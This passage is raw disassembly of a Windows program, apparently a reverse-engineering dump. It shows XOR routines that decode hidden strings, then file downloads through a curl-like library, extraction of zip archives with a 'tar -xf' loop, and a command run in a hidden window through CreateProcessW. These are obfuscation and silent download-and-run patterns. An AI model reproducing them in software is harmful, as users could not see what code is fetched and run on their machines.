xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
xor byte [rax + 0x24], dl
mov byte [r8 + 0x24], 0
mov rdx, r13
lea rcx, [rsp + 0x340]
call fcn.140023e50
nop
lea rdx, [rsp + 0x130]
call fcn.140034680
mov r8, r14
lea rdx, [rax + 1]
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte ds:[rax]
xor byte [rdx + r8], cl
inc r8
cmp r8, 0x59
jb 0x140031910
mov byte [rdx + 0x59], 0
lea rcx, [rsp + 0x360]
call fcn.140007da0
nop
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x3c0]
call fcn.14003b830
nop
lea rcx, [rsp + 0x340]
call fcn.140016f00
lea rdx, [rsp + 0xa0]
call fcn.140034730
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
mov byte [r8 + 0x23], 0
mov rdx, qword [0x1401c6948]
mov rcx, r15
nop word [rax + rax]
inc rcx
cmp byte [r8 + rcx], 0
jne 0x1400319f0
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x140032eec
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c6938]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x340]
call fcn.140026cc0
nop
movdqa xmm0, xmmword [str..FZZ_]
movdqa xmmword [rsp + 0x130], xmm0
movdqa xmm1, xmmword [0x1401a7c10]
movdqa xmmword [rsp + 0x140], xmm1
movdqa xmm0, xmmword [0x1401a7970]
movdqa xmmword [rsp + 0x150], xmm0
movdqa xmm1, xmmword [0x1401a79b0]
movdqa xmmword [rsp + 0x160], xmm1
movdqa xmm0, xmmword [0x1401a7980]
movdqa xmmword [rsp + 0x170], xmm0
mov dword [rsp + 0x180], 0x49475a5c
mov dword [rsp + 0x184], 0x47540041
mov word [rsp + 0x188], 0x5e
mov rcx, r14
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x131], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x132], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x133], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x134], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x135], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x136], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x137], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x138], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x139], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x13a], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x13b], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x13c], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x13d], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x13e], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x13f], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x140], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x141], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x142], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x143], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x144], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x145], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x146], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x147], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x148], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x149], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x14a], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x14b], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x14c], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x14d], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x14e], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x14f], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x150], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x151], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x152], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x153], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x154], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x155], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x156], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x157], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x158], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x159], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x15a], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x15b], al
movzx eax, byte [rsp + 0x130]
xor byte [rsp + rcx + 0x15c], al
add rcx, 0x2c
cmp rcx, 0x58
jb 0x140031ab1
mov byte [rsp + 0x189], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x360], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x370], xmm1
lea rax, [rsp + 0x131]
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140031d80
lea rdx, [rsp + 0x131]
lea rcx, [rsp + 0x360]
call fcn.140007de0
nop
mov rdx, qword [rsp + 0x3c8]
cmp rdx, qword [rsp + 0x3d0]
je 0x140031e1e
movaps xmm0, xmmword [rsp + 0x340]
movups xmmword [rdx], xmm0
movaps xmm1, xmmword [rsp + 0x350]
movups xmmword [rdx + 0x10], xmm1
movdqa xmm0, xmmword [0x1401a7650]
movdqa xmmword [rsp + 0x350], xmm0
mov byte [rsp + 0x340], 0
movaps xmm0, xmmword [rsp + 0x360]
movups xmmword [rdx + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0x370]
movups xmmword [rdx + 0x30], xmm1
movdqa xmm0, xmmword [0x1401a7650]
movdqa xmmword [rsp + 0x370], xmm0
mov byte [rsp + 0x360], 0
add qword [rsp + 0x3c8], 0x40
jmp 0x140031e34
lea r8, [rsp + 0x340]
lea rcx, [rsp + 0x3c0]
call fcn.140043320
nop
lea rcx, ds:[rsp + 0x360]
call fcn.1400041e0
lea rcx, [rsp + 0x340]
call fcn.1400041e0
mov r12d, r14d
mov rax, qword [rsp + 0x3c8]
mov qword [rsp + 0x100], rax
mov rbx, qword [rsp + 0x3c0]
cmp rbx, rax
je 0x1400321ce
add rbx, 0x20
nop word [rax + rax]
inc r12d
mov r14, qword [rbx - 0x10]
lea rdi, [rbx - 0x20]
cmp qword [rbx - 8], 0xf
jbe 0x140031e96
mov rdi, qword [rbx - 0x20]
call fcn.1401032b0
mov qword [rsp + 0x3a0], rdi
mov qword [rsp + 0x3a8], r14
lea r8, [rsp + 0x3a0]
mov edx, eax
lea rcx, [rsp + 0x58]
call fcn.140005960
nop
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x110]
call fcn.1400072c0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x320], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x80], ecx
lea rax, [0x1401c68e0]
mov qword [rsp + 0x88], rax
movaps xmm0, xmmword [rsp + 0x80]
movdqa xmmword [rsp + 0x680], xmm0
mov eax, dword [rsp + 0x320]
test eax, eax
je 0x140031f1d
cmp eax, 1
setne dil
jmp 0x140031f28
xor dil, dil
test ecx, ecx
jne 0x140032ef2
lea rcx, [rsp + 0x58]
call fcn.140004160
test dil, dil
jne 0x1400321a6
movdqa xmm0, xmmword [0x1401a7b70]
movdqu xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x68], 0x6372756f
mov dword [rsp + 0x6c], 0xa7365
lea rdx, [rsp + 0x59]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004600
mov rdi, rax
mov edx, r12d
lea rcx, [rsp + 0x340]
call fcn.140005620
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140031f8c
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.1400277a0
lea rdx, [0x1401a378c]
mov rcx, rax
call fcn.140004600
mov rdi, rax
mov r8, qword [rsp + 0x3c8]
sub r8, qword [rsp + 0x3c0]
sar r8, 6
lea r9, [rsp + 0x695]
movabs rsi, 0xcccccccccccccccd
nop
dec r9
mov rax, rsi
mul r8
shr rdx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8, rdx
test rdx, rdx
jne 0x140031fd0
lea r8, [rsp + 0x695]
mov rdx, r9
lea rcx, [rsp + 0xa0]
call fcn.1400271e0
nop
lea rdx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xb0]
mov rcx, rdi
call fcn.1400277a0
lea rdx, [0x1400047e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0xa0]
call fcn.1400041e0
nop
lea rcx, [rsp + 0x340]
call fcn.1400041e0
lea rdx, [rbx - 0x20]
lea rcx, [rsp + 0xa0]
call fcn.140007f00
mov rsi, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14003208a
mov rcx, qword [rax]
lea rdx, [0x1401a2fb4]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov r14, rax
test rax, rax
jne 0x1400320b0
lea rcx, str.Failed_to_create_file_on_the_disk_n
call fcn.14002aca0
jmp 0x140032186
call fcn.14009f590
mov rdi, rax
mov r8, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400320c5
mov r8, qword [rbx]
mov edx, 0x2712
mov rcx, rdi
call fcn.1400a2440
mov r8, r14
mov edx, 0x2711
mov rcx, rdi
call fcn.1400a2440
lea r8, [0x14002ada0]
mov edx, 0x4e2b
mov rcx, rdi
call fcn.1400a2440
mov edx, 0x34
lea r8d, [rdx - 0x33]
mov rcx, rdi
call fcn.1400a2440
mov rcx, rdi
call fcn.14009f600
test eax, eax
je 0x140032133
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140032125
mov rdx, qword [rbx]
lea rcx, str.Failed_to_download:__s_n
call fcn.14002aca0
jmp 0x140032186
mov dword [rsp + 0x310], 0
lea r8, [rsp + 0x310]
mov edx, 0x200002
mov rcx, rdi
call fcn.14009f560
mov edx, dword [rsp + 0x310]
lea eax, [rdx - 0xc8]
cmp eax, 1
jbe 0x140032173
lea rcx, str.Response_code:__d_n
call fcn.14002aca0
jmp 0x140032186
mov rcx, rdi
call fcn.14009f530
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rsi
call fcn.1400041e0
mov dword [rsp + 0x50], 0x736c6372
mov byte [rsp + 0x54], 0
lea rcx, [rsp + 0x51]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rbx, 0x40
lea rax, [rbx - 0x20]
cmp rax, qword [rsp + 0x100]
jne 0x140031e80
mov r12, qword [rsp + 0x3c8]
mov rbx, qword [rsp + 0x3c0]
jmp 0x1400321d1
mov r12, rax
xor sil, sil
cmp rbx, r12
je 0x1400324c9
nop dword [rax]
mov r14, qword [rbx + 0x10]
mov rdi, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400321f1
mov rdi, qword [rbx]
call fcn.1401032b0
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x88], r14
lea r8, [rsp + 0x80]
mov edx, eax
lea rcx, [rsp + 0xa0]
call fcn.140005960
nop
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x320]
call fcn.1400072c0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x110], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x3a0], ecx
lea rax, [0x1401c68e0]
mov qword [rsp + 0x3a8], rax
movaps xmm0, xmmword [rsp + 0x3a0]
movdqa xmmword [rsp + 0x680], xmm0
mov eax, dword [rsp + 0x110]
test eax, eax
je 0x14003227e
cmp eax, 1
setne dil
jmp 0x140032289
xor dil, dil
test ecx, ecx
jne 0x140033066
lea rcx, [rsp + 0xa0]
call fcn.140004160
test dil, dil
jne 0x1400324ae
nop
test sil, sil
jne 0x140032489
movdqa xmm0, xmmword [0x1401a7820]
movdqu xmmword [rsp + 0xa0], xmm0
movdqa xmm1, xmmword [0x1401a78a0]
movdqu xmmword [rsp + 0xb0], xmm1
movdqa xmm0, xmmword [0x1401a7950]
movdqu xmmword [rsp + 0xc0], xmm0
mov word [rsp + 0xd0], 0x45
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte ds:[rsp + 0xa0]
xor byte [rsp + rax + 0xa1], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xa2], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xa3], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xa4], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xa5], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xa6], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xa7], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xa8], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xa9], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xaa], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xab], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xac], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xad], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xae], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xaf], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xb0], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xb1], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xb2], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xb3], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xb4], cl
movzx ecx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xb5], cl
movzx edx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xb6], dl
movzx edx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xb7], dl
movzx edx, byte [rsp + 0xa0]
xor byte [rsp + rax + 0xb8], dl
add rax, 0x18
cmp rax, 0x30
jb 0x1400322f0
mov byte [rsp + 0xd1], 0
lea rdx, [rsp + 0xa1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004600
mov sil, 1
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140032496
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400277a0
mov rcx, rax
call fcn.14003f100
add rbx, 0x40
cmp rbx, r12
jne 0x1400321e0
nop dword [rax + rax]
test sil, sil
jne 0x140032f0c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x4f0], xmm0
movups xmmword [rsp + 0x500], xmm0
movups xmmword [rsp + 0x510], xmm0
movups xmmword [rsp + 0x520], xmm0
movups xmmword [rsp + 0x530], xmm0
movups xmmword [rsp + 0x540], xmm0
movups xmmword [rsp + 0x550], xmm0
mov qword [rsp + 0x560], rax
lea rcx, [rsp + 0x4f0]
call fcn.14003b700
nop
lea rcx, [rsp + 0xa0]
call fcn.14002de40
nop
mov r8, rax
cmp qword [rax + 0x18], 7
jbe 0x140032537
mov r8, qword [rax]
mov rax, qword [rax + 0x10]
lea r9, [r8 + rax*2]
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x4f0]
call fcn.14003c100
nop
lea rcx, [rsp + 0xa0]
call fcn.140004160
movdqa xmm0, xmmword [0x1401a79f0]
movdqu xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x68], 0x74616470
mov dword [rsp + 0x6c], 0x26262061
mov byte [rsp + 0x70], 0
mov dword [rsp + 0x50], 0x20646311
mov byte [rsp + 0x54], 0
lea rcx, [rsp + 0x51]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400325a0
mov rcx, qword [0x1401c6948]
movabs rdx, 0x7fffffffffffffff
sub rdx, rcx
cmp rdx, rax
jb 0x140033086
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r13, qword [0x1401c6938]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x51]
lea rcx, [rsp + 0x80]
call fcn.140026cc0
nop
lea rax, [rsp + 0x59]
inc r15
cmp byte [rax + r15], 0
jne 0x140032600
mov r8, r15
lea rdx, [rsp + 0x59]
lea rcx, [rsp + 0x80]
call fcn.1400237c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x3a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x3b0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x3a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x3b0], xmm1
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
xor esi, esi
mov qword [rax + 0x10], rsi
mov byte [rax], sil
lea r8d, [rsi + 0x1d]
lea rdx, str.for__f_in__.zip__do_tar__xf
lea rcx, [rsp + 0x3a0]
call fcn.1400237c0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movdqu xmmword [rsp + 0xb0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], sil
movq rcx, xmm1
psrldq xmm1, 8
movq rdx, xmm1
cmp rcx, rdx
jae 0x1400326da
lea rax, [rcx + 1]
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0xa0]
cmp rdx, 0xf
cmova rax, qword [rsp + 0xa0]
mov word [rax + rcx], 0x22
jmp 0x1400326ea
mov r9b, 0x22
lea rcx, [rsp + 0xa0]
call fcn.140025a80
movups xmm0, xmmword [rsp + 0xa0]
movups xmmword [rsp + 0x320], xmm0
movups xmm1, xmmword [rsp + 0xb0]
movups xmmword [rsp + 0x330], xmm1
movdqa xmm0, xmmword [0x1401a7650]
movdqu xmmword [rsp + 0xb0], xmm0
mov byte [rsp + 0xa0], 0
mov r8d, 2
lea rdx, [0x1401a3054]
lea rcx, [rsp + 0x320]
call fcn.1400237c0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movdqu xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
movq rcx, xmm1
psrldq xmm1, 8
movq rdx, xmm1
cmp rcx, rdx
jae 0x140032792
lea rax, [rcx + 1]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x58]
mov word [rax + rcx], 0x22
jmp 0x14003279f
mov r9b, 0x22
lea rcx, [rsp + 0x58]
call fcn.140025a80
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rsp + 0x438], xmm0
movups xmm1, xmmword [rsp + 0x68]
movups xmmword [rsp + 0x448], xmm1
movdqa xmm0, xmmword [0x1401a7650]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
lea rcx, [rsp + 0x58]
call fcn.1400041e0
nop
lea rcx, [rsp + 0x320]
call fcn.1400041e0
nop
lea rcx, [rsp + 0xa0]
call fcn.1400041e0
nop
lea rcx, [rsp + 0x3a0]
call fcn.1400041e0
nop
lea rcx, [rsp + 0x80]
call fcn.1400041e0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x480], xmm0
movups xmmword [rsp + 0x490], xmm0
movups xmmword [rsp + 0x4a0], xmm0
movups xmmword [rsp + 0x4b0], xmm0
movups xmmword [rsp + 0x4c0], xmm0
movups xmmword [rsp + 0x4d0], xmm0
mov qword [rsp + 0x4e0], rax
movups xmmword [rsp + 0x1e0], xmm0
mov qword [rsp + 0x1f0], rax
mov dword [rsp + 0x480], 0x68
mov dword [rsp + 0x4bc], 1
mov word [rsp + 0x4c0], si
lea r8, [rsp + 0x438]
cmp qword [rsp + 0x450], 0xf
cmova r8, qword [rsp + 0x438]
mov r9, qword [rsp + 0x448]
add r9, r8
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x4f0]
call fcn.14003c3e0
nop
lea r8, [rsp + 0xa0]
lea rcx, [rsp + 0x458]
call fcn.14003f2e0
nop
lea rcx, [rsp + 0xa0]
call fcn.140004160
lea rdx, [rsp + 0x458]
cmp qword [rsp + 0x470], 7
cmova rdx, qword [rsp + 0x458]
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x480]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140032967
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x458]
call fcn.140004160
nop
lea rcx, [rsp + 0x438]
call fcn.1400041e0
nop
lea rcx, [rsp + 0x340]
call fcn.1400041e0
nop
lea rax, vtable.std::wstring_convert_class_std::codecvt_utf8_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rsp + 0x4f0], rax
lea rcx, [rsp + 0x530]
call fcn.140004160
lea rcx, [rsp + 0x510]
call fcn.1400041e0
mov rcx, qword [rsp + 0x508]
test rcx, rcx
je 0x1400329e7
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x1400329e7
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rbx, qword [rsp + 0x3c0]
test rbx, rbx
je 0x140032a83
mov rdi, qword [rsp + 0x3c8]
cmp rbx, rdi
je 0x140032a27
lea rcx, [rbx + 0x20]
call fcn.1400041e0
mov rcx, rbx
call fcn.1400041e0
add rbx, 0x40
cmp rbx, rdi
jne 0x140032a05
mov rbx, qword [rsp + 0x3c0]
mov rdx, qword ds:[rsp + 0x3d0]
sub rdx, rbx
and rdx, 0xffffffffffffffc0
mov rax, rbx
cmp rdx, 0x1000
jb 0x140032a67
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140032a67
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1401042cc
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x3c0], xmm0
mov qword [rsp + 0x3d0], rsi
lea rcx, [rsp + 0x418]
call fcn.1400041e0
nop
lea rcx, [rsp + 0x3f8]
call fcn.1400041e0
nop
lea rcx, [rsp + 0x3d8]
call fcn.1400041e0
nop
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x200], rax
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1fc], edx
lea rcx, [rsp + 0x210]
call fcn.140021200
lea rcx, [rsp + 0x218]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x2b0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rsp + 0x6a0]
xor rcx, rsp
call fcn.140103e40
lea r11, [rsp + 0x6b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
nop dword [rax]
call fcn.140004c80
nop
lea rdx, str.Tar_is_not_available_on_this_system._nPlease_download_tar.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004600
call fcn.14002de10
int3
nop
call fcn.140004c80
int3
call fcn.140004c80
nop
shr rdx, 0x20
lea r8, [rsp + 0x80]
lea rcx, str.create_directory
call fcn.1400068e0
nop
call fcn.140004c80
int3
call fcn.140004c80
nop
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x320]
lea rcx, str.exists
call fcn.1400069c0
nop
call fcn.140004c80
int3
call fcn.140004c80
int3
nop dword [rax + rax]
call fcn.140004c80
nop
lea r8, ds:[rsp + 0x3a0]
lea rdx, [rsp + 0x320]
lea rcx, str.exists
call fcn.1400069c0
nop
mov byte [rax + 0xae], r10b
call fcn.140004600
lea rdx, [0x1400047e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14002de10
nop
call fcn.140004c80
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0xa0]
call fcn.140033200
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
